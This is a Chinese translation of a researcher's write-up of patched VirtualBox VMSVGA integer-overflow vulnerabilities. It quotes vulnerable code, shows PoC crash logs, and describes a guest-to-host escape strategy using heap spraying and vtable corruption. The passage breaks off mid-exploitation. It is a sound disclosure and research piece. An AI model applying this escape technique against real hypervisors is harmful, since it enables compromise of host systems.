内容简介:概述VirtualBox模拟VMware虚拟SVGA设备,其接口的详细信息和编程模型可从网络上公开获取。另外,在《VMware托管I/O架构上的GPU虚拟化》论文中,对VMware SVGA设备架构进行了很好的描述。此外,Kostya Kortchinsky发布的《CLOUDBURST – Vmware Guest到Host逃逸的故事》一文中,详细介绍了如何利用VMware SVGA设备中的漏洞进行VM逃逸。Oracle在2015年一月的重要补丁更新中,修复了VMSVGA设备所存在的一系列问题(CVE-2
概述
VirtualBox模拟VMware虚拟SVGA设备,其接口的详细信息和编程模型可从网络上公开获取。另外,在《VMware托管I/O架构上的GPU虚拟化》论文中,对VMware SVGA设备架构进行了很好的描述。此外,Kostya Kortchinsky发布的《CLOUDBURST – Vmware Guest到Host逃逸的故事》一文中,详细介绍了如何利用VMware SVGA设备中的漏洞进行VM逃逸。
Oracle在2015年一月的重要补丁更新中,修复了VMSVGA设备所存在的一系列问题(CVE-2014-6595、CVE-2014-6588、CVE-2014-6589、CVE-2014-6590、CVE-2015-0427)。在文章《通过硬件仿真攻击虚拟机管理程序》中,提供了有关VirtualBox中VMSVGA漏洞的一些细节。
值得注意的是,由于VMSVGA设备在默认情况下未启用,所以受影响的用户可能非常有限。但是,用户可以根据VBoxManage文档中的说明启用该功能。
VBoxManage modifyvm VMNAME --graphicscontroller vmsvga
Oracle在2017年7月和2017年10月的重要补丁更新中,修复了VMSVGA漏洞CVE-2017-10210、CVE-2017-10236、CVE-2017-10239、CVE-2017-10240、CVE-2017-10392、CVE-2017-10407和CVE-2017-10408,这些漏洞是由我发现并报告的。另外,来自360 Gear团队的李强也同时独立发现了CVE-2017-10210、CVE-2017-10236、CVE-2017-10239和CVE-2017-10240这四个漏洞。在这篇博客文章中,详细介绍了其中的一些问题,并演示如何利用这些漏洞实现虚拟机逃逸。
我们在macOS环境的VirtualBox 5.1.22版本中进行了分析。Linux版本的VirtualBox不支持VMSVGA 3D功能,这一功能仅在Windows和macOS中可用。
vmsvga3dSurfaceDefine(DevVGA-SVGA3d.cpp)中验证validating face[0].numMipLevel过程存在整数溢出漏洞(CVE-2017-10210)
int vmsvga3dSurfaceDefine(PVGASTATE pThis, uint32_t sid, uint32_t surfaceFlags, SVGA3dSurfaceFormat format,
SVGA3dSurfaceFace face[SVGA3D_MAX_SURFACE_FACES], uint32_t multisampleCount,
SVGA3dTextureFilter autogenFilter, uint32_t cMipLevels, SVGA3dSize *paMipLevelSizes)
{
. . .
/* cFaces must be 6 for a cubemap and 1 otherwise. */
AssertReturn(cFaces == (uint32_t)((surfaceFlags & SVGA3D_SURFACE_CUBEMAP) ? 6 : 1), VERR_INVALID_PARAMETER);
AssertReturn(cMipLevels == cFaces * face[0].numMipLevels, VERR_INVALID_PARAMETER);
. . .
}
在使用“surfaceflag” SVGA3D_SURFACE_CUBEMAP时,“cFaces”值可以设置为6。然后,可以将“face[0].numMipLevels”设置为cFaces * face[0].numMipLevels wraps的计算结果。“cMipLevels”取决于为SVGA_3D_CMD_SURFACE_DEFINE命令传递的SVGA3dSize结构的数量,例如2 == 6 * 0x2aaaaaab。
用于其它多个命令中的face[0].numMipLevels值是导致内存损坏的元凶。在CVE-2017-10210的PoC中,使用了SVGA_3D_CMD_SURFACE_DESTROY命令来演示内存损坏,最终导致free()无效。
int vmsvga3dSurfaceDestroy(PVGASTATE pThis, uint32_t sid)
{
. . .
if (pSurface->pMipmapLevels)
{
for (uint32_t face=0; face < pSurface->cFaces; face++)
{
for (uint32_t i=0; i < pSurface->faces[face].numMipLevels; i++)
{
uint32_t idx = i + face * pSurface->faces[0].numMipLevels;
if (pSurface->pMipmapLevels[idx].pSurfaceData)
RTMemFree(pSurface->pMipmapLevels[idx].pSurfaceData);
}
}
RTMemFree(pSurface->pMipmapLevels);
}
. . .
}
<a href="/cdn-cgi/l/email-protection" data-cfemail="a8dacdc6c7dac7cacddadce8ddcaddc6dcdd">[email protected]</a>:~/virtualbox-vmsvga-bugs/CVE-2017-10210$ sudo ./poc [sudo] password for renorobert: poc: [+] Triggering the integer overflow using SVGA_3D_CMD_SURFACE_DEFINE... poc: [+] Triggering the crash using SVGA_3D_CMD_SURFACE_DESTROY...
[lldbinit] process attach --pid 57984
[-] warning: get_frame() failed. Is the target binary started?
Process 57984 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
frame #0: 0x00007fff5f9ae20a libsystem_kernel.dylib`mach_msg_trap + 10
Target 0: (VirtualBoxVM) stopped.
Executable module set to "/Applications/VirtualBox.app/Contents/Resources/VirtualBoxVM.app/Contents/MacOS/VirtualBoxVM".
Architecture set to: x86_64h-apple-macosx.
[lldbinit] c
Process 57984 resuming
-----------------------------------------------------------------------------------------------------------------------[regs]
RAX: 0x0000000000000000 RBX: 0x000070000E657000 RBP: 0x000070000E656CC0 RSP: 0x000070000E656C88 o d I t s z a P c
RDI: 0x000000000000DB0B RSI: 0x0000000000000006 RDX: 0x0000000000000000 RCX: 0x000070000E656C88 RIP: 0x00007FFF5F9B7B66
R8: 0x0000000000000000 R9: 0x0000000000000000 R10: 0x0000000000000000 R11: 0x0000000000000206 R12: 0x000000000000DB0B
R13: 0x0000000000000004 R14: 0x0000000000000006 R15: 0x000000000000002D
CS: 0007 FS: 0000 GS: 0000 Jump is taken (c = 0)
-----------------------------------------------------------------------------------------------------------------------[flow]
-----------------------------------------------------------------------------------------------------------------------[code]
__pthread_kill @ libsystem_kernel.dylib:
0x7fff5f9b7b66: 73 08 jae 0x7fff5f9b7b70 ; <+20>
0x7fff5f9b7b68: 48 89 c7 mov rdi, rax
0x7fff5f9b7b6b: e9 79 6f ff ff jmp 0x7fff5f9aeae9 ; cerror_nocancel
0x7fff5f9b7b70: c3 ret
0x7fff5f9b7b71: 90 nop
0x7fff5f9b7b72: 90 nop
0x7fff5f9b7b73: 90 nop
__pthread_markcancel @ libsystem_kernel.dylib:
0x7fff5f9b7b74: b8 4c 01 00 02 mov eax, 0x200014c
-----------------------------------------------------------------------------------------------------------------------------
Process 57984 stopped
* thread #21, name = 'VMSVGA FIFO', stop reason = signal SIGABRT
frame #0: 0x00007fff5f9b7b66 libsystem_kernel.dylib`__pthread_kill + 10
Target 0: (VirtualBoxVM) stopped.
[lldbinit] bt
* thread #21, name = 'VMSVGA FIFO', stop reason = signal SIGABRT
* frame #0: 0x00007fff5f9b7b66 libsystem_kernel.dylib`__pthread_kill + 10
frame #1: 0x00007fff5fb82080 libsystem_pthread.dylib`pthread_kill + 333
frame #2: 0x00007fff5f9131ae libsystem_c.dylib`abort + 127
frame #3: 0x00007fff5fa11822 libsystem_malloc.dylib`free + 521
frame #4: 0x000000010efbbad1 VBoxDD.dylib`___lldb_unnamed_symbol1176$$VBoxDD.dylib + 305
frame #5: 0x000000010efb9932 VBoxDD.dylib`___lldb_unnamed_symbol1168$$VBoxDD.dylib + 3682
frame #6: 0x00000001053d1683 VBoxVMM.dylib`___lldb_unnamed_symbol649$$VBoxVMM.dylib + 115
frame #7: 0x00000001032db6dc VBoxRT.dylib`___lldb_unnamed_symbol661$$VBoxRT.dylib + 44
frame #8: 0x0000000103360222 VBoxRT.dylib`___lldb_unnamed_symbol1110$$VBoxRT.dylib + 194
frame #9: 0x00007fff5fb7f661 libsystem_pthread.dylib`_pthread_body + 340
frame #10: 0x00007fff5fb7f50d libsystem_pthread.dylib`_pthread_start + 377
frame #11: 0x00007fff5fb7ebf9 libsystem_pthread.dylib`thread_start + 13
[lldbinit]
vmsvga3dSurfaceDefine(DevVGA-SVGA3d.cpp)中未验证paMipLevelSizes导致整数溢出漏洞(CVE-2017-10236)
/* Allocate buffer to hold the surface data until we can move it into a D3D object */
for (uint32_t i = 0; i < cMipLevels; ++i)
{
PVMSVGA3DMIPMAPLEVEL pMipmapLevel = &pSurface->pMipmapLevels[i];
. . .
pMipmapLevel->cbSurfacePitch = pSurface->cbBlock * pMipmapLevel->size.width;
pMipmapLevel->cbSurface = pMipmapLevel->cbSurfacePitch * pMipmapLevel->size.height * pMipmapLevel->size.depth;
pMipmapLevel->pSurfaceData = RTMemAllocZ(pMipmapLevel->cbSurface);
AssertReturn(pMipmapLevel->pSurfaceData, VERR_NO_MEMORY);
}
在这里,由于“paMipLevelSizes”值完全由Guest控制,因此“cbSurfacePitch”和“cbSurface”的计算可能会产生溢出。由于“cbSurface”的计算存在问题,进一步导致RTMemAllocZ最终分配的缓冲区大小比实际需要的要少。在其他SVGA命令中使用“pSurfaceData”期间,可能会发生越界读/写的情况。针对该漏洞提供的PoC仅演示了无效分配,可以在调试器中观察到这一点,不会触发任何崩溃。但是,这一漏洞随后将会在完整的VM逃逸漏洞利用中使用到。
vmsvga3dSurfaceDMA(DevVGA-SVGA3d.cpp)中多个整数溢出漏洞(CVE-2017-10240和CVE-2017-10408)
int vmsvga3dSurfaceDMA(PVGASTATE pThis, SVGA3dGuestImage guest, SVGA3dSurfaceImageId host, SVGA3dTransferType transfer,
uint32_t cCopyBoxes, SVGA3dCopyBox *paBoxes)
{
. . .
for (unsigned i = 0; i < cCopyBoxes; i++)
{
. . .
if (paBoxes[i].x + paBoxes[i].w > pMipLevel->size.width)
paBoxes[i].w = pMipLevel->size.width - paBoxes[i].x;
if (paBoxes[i].y + paBoxes[i].h > pMipLevel->size.height)
paBoxes[i].h = pMipLevel->size.height - paBoxes[i].y;
if (paBoxes[i].z + paBoxes[i].d > pMipLevel->size.depth)
paBoxes[i].d = pMipLevel->size.depth - paBoxes[i].z;
if ( !paBoxes[i].w
|| !paBoxes[i].h
|| !paBoxes[i].d
|| paBoxes[i].x > pMipLevel->size.width
|| paBoxes[i].y > pMipLevel->size.height
|| paBoxes[i].z > pMipLevel->size.depth)
{
. . .
continue;
}
uDestOffset = paBoxes[i].x * pSurface->cbBlock + paBoxes[i].y * pMipLevel->cbSurfacePitch + paBoxes[i].z * pMipLevel->size.height * pMipLevel->cbSurfacePitch;
AssertReturn(uDestOffset + paBoxes[i].w * pSurface->cbBlock * paBoxes[i].h * paBoxes[i].d <= pMipLevel->cbSurface, VERR_INTERNAL_ERROR);
. . .
}
在这一漏洞中,首先对于“pMipLevel”的“paBoxes”验证可能会发生溢出,从而导致绕过问题。由于整数溢出,因此也可以绕过针对“pMipLevel-> cbSurface”的“uDestOffset”验证。我们在多个位置都发现了类似的代码模式。“uDestOffset”用于在调用vmsvgaGMRTransfer期间计算“pBufferStart”参数,所以验证失效将导致SVGA3dTransferType – SVGA3D_WRITE_HOST_VRAM或SVGA3D_READ_HOST_VRAM的值所对应位置发生越界读取或越界写入。该漏洞的PoC将访问内存中pMipLevel->pSurfaceData偏移约4GB的位置,从而导致崩溃。可以通过堆喷射并分配可访问内存区域的方法来利用这一漏洞。
<a href="/cdn-cgi/l/email-protection" data-cfemail="d6a4b3b8b9a4b9b4b3a4a296a3b4a3b8a2a3">[email protected]</a>:~/virtualbox-vmsvga-bugs/CVE-2017-10240+10408$ make gcc -Wall -ggdb -std=gnu99 -o poc svga.c poc.c -lpciaccess <a href="/cdn-cgi/l/email-protection" data-cfemail="384a5d56574a575a5d4a4c784d5a4d564c4d">[email protected]</a>:~/virtualbox-vmsvga-bugs/CVE-2017-10240+10408$ sudo ./poc [sudo] password for renorobert:
[lldbinit] process attach --pid 14518
[-] warning: get_frame() failed. Is the target binary started?
Process 14518 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
frame #0: 0x00007fff5f9ae20a libsystem_kernel.dylib`mach_msg_trap + 10
Target 0: (VirtualBoxVM) stopped.
Executable module set to "/Applications/VirtualBox.app/Contents/Resources/VirtualBoxVM.app/Contents/MacOS/VirtualBoxVM".
Architecture set to: x86_64h-apple-macosx.
[lldbinit] c
Process 14518 resuming
-----------------------------------------------------------------------------------------------------------------------[regs]
RAX: 0x00007F976656CEB8 RBX: 0x0000000111C1C000 RBP: 0x00007000066CAC10 RSP: 0x00007000066CAC10 o d I t s Z a P c
RDI: 0x00007F976656CEB8 RSI: 0x0000000111C1C000 RDX: 0x0000000000000000 RCX: 0x4141414141414141 RIP: 0x00007FFF5FB78FD0
R8: 0x4141414141414141 R9: 0x0000000000000000 R10: 0x00000000FFFFFFFE R11: 0x00007F9654950EB8 R12: 0x0000000000000000
R13: 0x0000000000000001 R14: 0x00007F976656CEB8 R15: 0x0000000000000001
CS: 002B FS: 0000 GS: 0000
-----------------------------------------------------------------------------------------------------------------------[flow]
-----------------------------------------------------------------------------------------------------------------------[code]
_platform_memmove$VARIANT$Haswell @ libsystem_platform.dylib:
0x7fff5fb78fd0: 48 89 0f mov qword ptr [rdi], rcx
0x7fff5fb78fd3: 4c 89 04 17 mov qword ptr [rdi + rdx], r8
0x7fff5fb78fd7: 5d pop rbp
0x7fff5fb78fd8: c3 ret
0x7fff5fb78fd9: 48 83 c2 08 add rdx, 0x8
0x7fff5fb78fdd: 74 25 je 0x7fff5fb79004 ; <+228>
0x7fff5fb78fdf: 4d 31 c0 xor r8, r8
0x7fff5fb78fe2: 42 8a 0c 06 mov cl, byte ptr [rsi + r8]
-----------------------------------------------------------------------------------------------------------------------------
Process 14518 stopped
* thread #21, name = 'VMSVGA FIFO', stop reason = EXC_BAD_ACCESS (code=1, address=0x7f976656ceb8)
frame #0: 0x00007fff5fb78fd0 libsystem_platform.dylib`_platform_memmove$VARIANT$Haswell + 176
Target 0: (VirtualBoxVM) stopped.
[lldbinit] vmmap -a 0x00007F976656CEB8
[lldbinit] bt
* thread #21, name = 'VMSVGA FIFO', stop reason = EXC_BAD_ACCESS (code=1, address=0x7f976656ceb8)
* frame #0: 0x00007fff5fb78fd0 libsystem_platform.dylib`_platform_memmove$VARIANT$Haswell + 176
frame #1: 0x0000000110e1a6bf VBoxDD.dylib`___lldb_unnamed_symbol1154$$VBoxDD.dylib + 671
frame #2: 0x0000000110e2207d VBoxDD.dylib`___lldb_unnamed_symbol1178$$VBoxDD.dylib + 861
frame #3: 0x0000000110e1fa09 VBoxDD.dylib`___lldb_unnamed_symbol1168$$VBoxDD.dylib + 3897
frame #4: 0x0000000107a17683 VBoxVMM.dylib`___lldb_unnamed_symbol649$$VBoxVMM.dylib + 115
frame #5: 0x00000001059216dc VBoxRT.dylib`___lldb_unnamed_symbol661$$VBoxRT.dylib + 44
frame #6: 0x00000001059a6222 VBoxRT.dylib`___lldb_unnamed_symbol1110$$VBoxRT.dylib + 194
frame #7: 0x00007fff5fb7f661 libsystem_pthread.dylib`_pthread_body + 340
frame #8: 0x00007fff5fb7f50d libsystem_pthread.dylib`_pthread_start + 377
frame #9: 0x00007fff5fb7ebf9 libsystem_pthread.dylib`thread_start + 13
[lldbinit]
vmsvgaGMRTransfer(DevVGA-SVGA.cpp)整数溢出漏洞(CVE-2017-10407)
int vmsvgaGMRTransfer(PVGASTATE pThis, const SVGA3dTransferType enmTransferType, uint8_t *pbDst, int32_t cbDestPitch,
SVGAGuestPtr src, uint32_t offSrc, int32_t cbSrcPitch, uint32_t cbWidth, uint32_t cHeight)
{
. . .
AssertMsgReturn(offSrc + cbSrcPitch * (cHeight - 1) + cbWidth <= pThis->vram_size,
("src.offset=%#x offSrc=%#x cbSrcPitch=%#x cHeight=%#x cbWidth=%#x vram_size=%#x\n",
src.offset, offSrc, cbSrcPitch, cHeight, cbWidth, pThis->vram_size),
VERR_INVALID_PARAMETER);
uint8_t *pSrc = pThis->CTX_SUFF(vram_ptr) + offSrc;
. . .
}
其中,“offSrc”验证可能会发生溢出,并且可以绕过对“vram_size”的检查,这将会导致与VRAM相关的越界读取或越界写入。vmsvgaGMRTransfer可以由多个SVGA命令使用,例如SVGA_CMD_BLIT_GMRFB_TO_SCREEN、SVGA_3D_CMD_SURFACE_DMA、SVGA_3D_CMD_BLIT_SURFACE_TO_SCREEN等。
在SVGA_CMD_BLIT_GMRFB_TO_SCREEN中,针对vram_size验证“offsetDest”。因此,写入的位置只能从VRAM缓冲区内开始。但是,“offsetSource”最终可以在受控制的偏移量处指向超出VRAM缓冲区的位置,从而可靠地提供信息泄露漏洞。
case SVGA_CMD_BLIT_GMRFB_TO_SCREEN:
{
. . .
unsigned offsetSource = (pCmd->srcOrigin.x * pSVGAState->GMRFB.format.s.bitsPerPixel) / 8 + pSVGAState->GMRFB.bytesPerLine * pCmd->srcOrigin.y;
unsigned offsetDest = (pCmd->destRect.left * RT_ALIGN(pThis->svga.uBpp, 8)) / 8 + pThis->svga.cbScanline * pCmd->destRect.top;
unsigned cbCopyWidth = (width * RT_ALIGN(pThis->svga.uBpp, 8)) / 8;
AssertBreak(offsetDest < pThis->vram_size);
rc = vmsvgaGMRTransfer(pThis, SVGA3D_WRITE_HOST_VRAM, pThis->CTX_SUFF(vram_ptr) + offsetDest, pThis->svga.cbScanline, pSVGAState->GMRFB.ptr, offsetSource, pSVGAState->GMRFB.bytesPerLine, cbCopyWidth, height);
该漏洞提供的PoC使用SVGA_CMD_BLIT_GMRFB_TO_SCREEN和SVGA_3D_CMD_SURFACE_DMA演示了相对于VRAM的OOB访问。
漏洞利用
在上述的多个漏洞中,提供了许多组合和原语。我选择使用vmsvga3dSurfaceDefine和vmsvga3dSurfaceDMA中的漏洞来演示完整的VM逃逸:
int vmsvga3dSurfaceDefine(PVGASTATE pThis, uint32_t sid, uint32_t surfaceFlags, SVGA3dSurfaceFormat format,
SVGA3dSurfaceFace face[SVGA3D_MAX_SURFACE_FACES], uint32_t multisampleCount,
SVGA3dTextureFilter autogenFilter, uint32_t cMipLevels, SVGA3dSize *paMipLevelSizes)
{
. . .
/* Allocate buffer to hold the surface data until we can move it into a D3D object */
for (uint32_t i = 0; i < cMipLevels; ++i)
{
PVMSVGA3DMIPMAPLEVEL pMipmapLevel = &pSurface->pMipmapLevels[i];
. . .
pMipmapLevel->cbSurfacePitch = pSurface->cbBlock * pMipmapLevel->size.width;
pMipmapLevel->cbSurface = pMipmapLevel->cbSurfacePitch * pMipmapLevel->size.height * pMipmapLevel->size.depth;
pMipmapLevel->pSurfaceData = RTMemAllocZ(pMipmapLevel->cbSurface);
AssertReturn(pMipmapLevel->pSurfaceData, VERR_NO_MEMORY);
}
. . .
}
vmsvga3dSurfaceDefine()中存在的漏洞,允许为pMipmapLevel->size.width、pMipmapLevel->size.height和pMipmapLevel->size.depth设置非常大的值,但最终只需要分配所需大小的堆块。这一点对于进一步利用vmsvga3dSurfaceDMA()中的整数溢出漏洞来说非常有帮助。
int vmsvga3dSurfaceDMA(PVGASTATE pThis, SVGA3dGuestImage guest, SVGA3dSurfaceImageId host, SVGA3dTransferType transfer,
uint32_t cCopyBoxes, SVGA3dCopyBox *paBoxes)
{
. . .
for (unsigned i = 0; i < cCopyBoxes; i++)
{
. . .
/* Apparently we're supposed to clip it (gmr test sample) */
if (paBoxes[i].x + paBoxes[i].w > pMipLevel->size.width)
paBoxes[i].w = pMipLevel->size.width - paBoxes[i].x;
if (paBoxes[i].y + paBoxes[i].h > pMipLevel->size.height)
paBoxes[i].h = pMipLevel->size.height - paBoxes[i].y;
if (paBoxes[i].z + paBoxes[i].d > pMipLevel->size.depth)
paBoxes[i].d = pMipLevel->size.depth - paBoxes[i].z;
if ( !paBoxes[i].w
|| !paBoxes[i].h
|| !paBoxes[i].d
|| paBoxes[i].x > pMipLevel->size.width
|| paBoxes[i].y > pMipLevel->size.height
|| paBoxes[i].z > pMipLevel->size.depth)
{
. . .
continue;
}
. . .
uDestOffset = paBoxes[i].x * pSurface->cbBlock + paBoxes[i].y * pMipLevel->cbSurfacePitch + paBoxes[i].z * pMipLevel->size.height * pMipLevel->cbSurfacePitch;
AssertReturn(uDestOffset + paBoxes[i].w * pSurface->cbBlock * paBoxes[i].h * paBoxes[i].d <= pMipLevel->cbSurface, VERR_INTERNAL_ERROR);
. . .
rc = vmsvgaGMRTransfer(pThis,
transfer,
. . .
paBoxes[i].w * pSurface->cbBlock,
paBoxes[i].d * paBoxes[i].h);
. . .
}
由于pMipLevel的宽度、高度和深度在vmsvga3dSurfaceDefine()中被设置为非常大的值,因此可以绕过涉及paBoxes的第一次检查。后续,这些值将用于计算“uDestOffset”,可以设置为任意值。
uDestOffset = paBoxes[i].x * pSurface->cbBlock + paBoxes[i].y * pMipLevel->cbSurfacePitch + paBoxes[i].z * pMipLevel->size.height * pMipLevel->cbSurfacePitch;
但是,其后有一个验证:
AssertReturn(uDestOffset + paBoxes[i].w * pSurface->cbBlock * paBoxes[i].h * paBoxes[i].d <= pMipLevel->cbSurface, VERR_INTERNAL_ERROR);
举例来说:
uDestOffset + ((paBoxes[i].w * pSurface->cbBlock) * (paBoxes[i].h * paBoxes[i].d)) <= pMipLevel->cbSurface
在这里,可以将较高值设置为uDestOffset或(paBoxes[i].w * pSurface->cbBlock)或(paBoxes[i].h * paBoxes[i].d)来绕过验证。在vmsvgaGMRTransfer()中,(paBoxes[i].w * pSurface->cbBlock)和(paBoxes[i].h * paBoxes[i].d)用于计算memcpy()调用的大小参数。为了使大小调整为一个合理的值,我们将uDestOffset设置为一个较大的值,从而允许读取/写入一个距离表面分配约4GB的偏移量。
为了利用这个漏洞,有两个问题需要解决:
1、从表面分配偏移约4GB的内存;
2、在这个巨大偏移量的分配内存中,应该存在指针损坏,从而导致代码执行。
在macOS中,共有三种类型的分配: Tiny、Small和Large。Tiny堆分配的地址范围是0x00007fxxxxx00000,而Large分配则占用另一个地址范围0x00000001xxxxx000。上述二者堆分配中的任何一个都能够进行漏洞利用。
我选择的是Tiny类型堆分配,主要因为,我知道Tiny类型的分配中具有指向vtable和其他内存分配的指针,而这样的指针可能会由于代码执行而被破坏。但是,使用Tiny类型的分配来喷射(Spray)整个4GB内存是一个非常缓慢的过程。macOS支持最大127KB的Small分配。因此,我们的思路是尽可能多地分配Small块,以加快堆喷射的进度,并减少Tiny块堆喷射的数量。
分配Tiny块
对于Tiny块,我将目标放在针对HGCM(Host-Guest通信管理器)执行的分配上。关于HGCM的详细信息,可以参考: https://github.com/phoenhex/files/blob/master/slides/thinking_outside_the_virtualbox.pdf
针对这个漏洞,我习惯使用HGCM连接对象,然后进行喷射。要对HGCM连接进行初始化,需要使用VMM虚拟PCI设备进行。设备的BAR0保存用于HGCM通信的I/O端口地址。无论何时启动HGCM连接,都会在内存中分配大小为72字节的HGCMClient对象,并返回客户端ID。下面是HGCMClient对象的示例:
typedef struct _AVLULNodeCore
{
AVLULKEY Key; /** Key value. */
struct _AVLULNodeCore *pLeft; /** Pointer to left leaf node. */
struct _AVLULNodeCore *pRight; /** Pointer to right leaf node. */
unsigned char uchHeight; /** Height of this tree: max(height(left), height(right)) + 1 */
} AVLULNODECORE, *PAVLULNODECORE, **PPAVLULNODECORE;
typedef struct _ObjectAVLCore
{
AVLULNODECORE AvlCore;
void *pSelf; // type HGCMObject
} ObjectAVLCore;
struct HGCMClient {
void *vptr_HGCMObject;
uint32_t m_cRefs;
uint32_t m_enmObjType; // HGCMOBJ_TYPE enum
ObjectAVLCore m_core;
void *pService; // type HGCMService
void *pvData;
uint64_t padding;
} HGCMClient;
HGCMClient的创建和分配由src/VBox/Main/src-client/HGCM.cpp中的HGCMService::CreateAndConnectClient来完成。这些客户端对象使用AVL树进行维护,其中的节点包含客户端ID,并且还包含指向对象本身的指针。在漏洞利用期间,我们需要避免破坏AVL树的元数据,以防止在查找或插入AVL树节点期间发生任何崩溃。此外,我们可能会损坏HGCMClient的vtable,以获得RIP控制。
HGCMClient对象的删除发生在HGCM断开连接期间,由HGCMService::DisconnectClient进行处理,其中使用到了损坏的vtable。
int HGCMService::DisconnectClient(uint32_t u32ClientId, bool fFromService)
{
. . .
HGCMMsgSvcDisconnect *pMsg = (HGCMMsgSvcDisconnect *)hgcmObjReference(hMsg, HGCMOBJ_MSG);
AssertRelease(pMsg);
pMsg->u32ClientId = u32ClientId;
hgcmObjDereference(pMsg); // use of corrupted vtable on deletion
. . .
}
分配Small块
为了能更高效地填充4GB,与Tiny块相比,Small块显然是更好的选择。SVGA_3D_CMD_SURFACE_DEFINE命令可用于分配任意大小的块。
int vmsvga3dSurfaceDefine(PVGASTATE pThis, uint32_t sid, uint32_t surfaceFlags, SVGA3dSurfaceFormat format,
SVGA3dSurfaceFace face[SVGA3D_MAX_SURFACE_FACES], uint32_t multisampleCount,
SVGA3dTextureFilter autogenFilter, uint32_t cMipLevels, SVGA3dSize *paMipLevelSizes)
{
. . .
AssertReturn(sid < SVGA3D_MAX_SURFACE_IDS, VERR_INVALID_PARAMETER);
. . .
pSurface = pState->papSurfaces[sid];
/* If one already exists with this id, then destroy it now. */
if (pSurface->id != SVGA3D_INVALID_ID)
vmsvga3dSurfaceDestroy(pThis, sid);
. . .
}
vmsvga3dSurfaceDefine()允许最多SVGA3D_MAX_SURFACE_IDS (32 * 1024)个唯一的表面分配。针对大小为127KB的表面,这样的限制足以让我们填充约4GB。由于页是分配给堆的较低地址,因此最开始需要分配HGCMClient对象,然后才是表面分配。在进行堆喷射后,内存布局如下图所示:
喷射前的内存布局
Stack 00007000060c1000-0000700006143000 thread 29 MALLOC_TINY 00007ff16b400000-00007ff16b500000 [ 1024K 684K 684K 316K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000 MALLOC_TINY 00007ff16b500000-00007ff16b700000 [ 2048K 792K 792K 1256K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000 MALLOC_TINY 00007ff16b700000-00007ff16b800000 [ 1024K 840K 840K 184K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000 MALLOC_SMALL 00007ff16b800000-00007ff16c06d000 [ 8628K 1332K 1332K 2160K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000 MALLOC_SMALL (empty) 00007ff16c06d000-00007ff16c06e000 [ 4K 4K 4K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000 MALLOC_SMALL 00007ff16c06e000-00007ff16d800000 [ 23.6M 2600K 2600K 4288K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000 MALLOC_TINY 00007ff16d800000-00007ff16d900000 [ 1024K 484K 484K 540K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000 MALLOC_TINY 00007ff16d900000-00007ff16da00000 [ 1024K 364K 364K 660K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000 MALLOC_TINY 00007ff16da00000-00007ff16dc00000 [ 2048K 20K 20K 12K] rw-/rwx SM=COW QuartzCore_0x10cc46000 MALLOC_TINY 00007ff16dc00000-00007ff16de00000 [ 2048K 20K 20K 24K] rw-/rwx SM=COW GFXMallocZone_0x107072000 MALLOC_TINY (empty) 00007ff16de00000-00007ff16df00000 [ 1024K 8K 8K 8K] rw-/rwx SM=COW GFXMallocZone_0x107072000 MALLOC_TINY 00007ff16df00000-00007ff16e000000 [ 1024K 448K 448K 492K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000 MALLOC_SMALL (empty) 00007ff16e000000-00007ff16e800000 [ 8192K 4K 4K 8K] rw-/rwx SM=COW QuartzCore_0x10cc46000 MALLOC_SMALL 00007ff16e800000-00007ff16f000000 [ 8192K 8K 8K 240K] rw-/rwx SM=COW GFXMallocZone_0x107072000 MALLOC_SMALL (empty) 00007ff16f000000-00007ff170000000 [ 16.0M 8K 8K 172K] rw-/rwx SM=COW GFXMallocZone_0x107072000 MALLOC_TINY (empty) 00007ff170000000-00007ff170100000 [ 1024K 8K 8K 4K] rw-/rwx SM=COW QuartzCore_0x10cc46000 MALLOC_TINY 00007ff170100000-00007ff170200000 [ 1024K 368K 368K 60K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000 MALLOC_TINY (empty) 00007ff170200000-00007ff170300000 [ 1024K 8K 8K 4K] rw-/rwx SM=COW QuartzCore_0x10cc46000 MALLOC_TINY 00007ff170300000-00007ff170400000 [ 1024K 4K 4K 20K] rw-/rwx SM=COW GFXMallocZone_0x107072000 MALLOC_TINY 00007ff170400000-00007ff170600000 [ 2048K 84K 84K 948K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000 MALLOC_SMALL 00007ff170800000-00007ff171000000 [ 8192K 4K 4K 96K] rw-/rwx SM=COW GFXMallocZone_0x107072000 MALLOC_SMALL 00007ff171000000-00007ff171800000 [ 8192K 4K 4K 8K] rw-/rwx SM=COW QuartzCore_0x10cc46000 STACK GUARD 00007ffee50b0000-00007ffee88b0000 [ 56.0M 0K 0K 0K] ---/rwx SM=NUL stack guard for thread 0
喷射后的内存布局
Stack 000070000624a000-00007000062cc000 [ 520K 12K 12K 0K] rw-/rwx SM=PRV thread 35 MALLOC_SMALL 00007ff06b800000-00007ff079800000 [224.0M 209.3M 209.3M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000 MALLOC_SMALL 00007ff07b800000-00007ff08b000000 [248.0M 243.4M 243.4M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000 MALLOC_TINY 00007ff08b400000-00007ff08b500000 [ 1024K 244K 244K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000 MALLOC_SMALL 00007ff08b800000-00007ff0c2800000 [880.0M 863.7M 863.7M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000 MALLOC_SMALL 00007ff0c2800000-00007ff0c3000000 [ 8192K 8032K 8032K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000 MALLOC_SMALL 00007ff0c3000000-00007ff0ec800000 [664.0M 532.9M 532.9M 118.8M] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000 MALLOC_SMALL 00007ff0ec800000-00007ff0ed000000 [ 8192K 8032K 8032K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000 MALLOC_SMALL 00007ff0ed000000-00007ff0fb000000 [224.0M 217.3M 217.3M 2588K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000 MALLOC_TINY 